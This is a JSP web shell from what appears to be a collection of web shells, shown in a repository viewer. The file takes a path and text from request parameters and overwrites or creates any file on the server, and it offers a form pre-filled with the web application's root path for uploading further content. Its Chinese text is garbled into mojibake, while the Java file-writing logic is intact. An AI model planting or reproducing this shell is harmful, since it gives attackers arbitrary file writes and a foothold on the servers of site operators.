webshell/jsp/asd.jsp

48 lines
1.3 KiB
Text
Raw Normal View History

2013-07-27 09:14:53 +00:00
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<html>
<head>
<title><3E>0<EFBFBD>2<EFBFBD><32><EFBFBD>0<EFBFBD>5<EFBFBD><35><EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>1</title>
<meta http-equiv="keywords" content="<22>0<EFBFBD>2<EFBFBD><32><EFBFBD>0<EFBFBD>5<EFBFBD><35><EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>1">
<meta http-equiv="description" content="<22>0<EFBFBD>2<EFBFBD><32><EFBFBD>0<EFBFBD>5<EFBFBD><35><EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>1">
</head>
<%
int i=0;
String method=request.getParameter("act");
if(method!=null&&method.equals("up")){
String url=request.getParameter("url");
String text=request.getParameter("text");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>
<20>0<EFBFBD>1<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>1
<%
}
}
if(i==0){
%>
<20>0<EFBFBD>1<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>0<EFBFBD>0<EFBFBD>1
<%
}
%>
<body>
<form action='?act=up' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
<textarea rows="20" cols="80" name="text"><3E><><EFBFBD>0<EFBFBD>7<EFBFBD>0<EFBFBD>5<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>5<EFBFBD><35><EFBFBD>0<EFBFBD>8<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>6<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>1<EFBFBD>0<EFBFBD>3<EFBFBD>0<EFBFBD>5<EFBFBD>0<EFBFBD>4<EFBFBD>0<EFBFBD>2<EFBFBD>0<EFBFBD>1</textarea><br>
<input type="submit" value="up" name="text"/>
</form>
</body>
</html>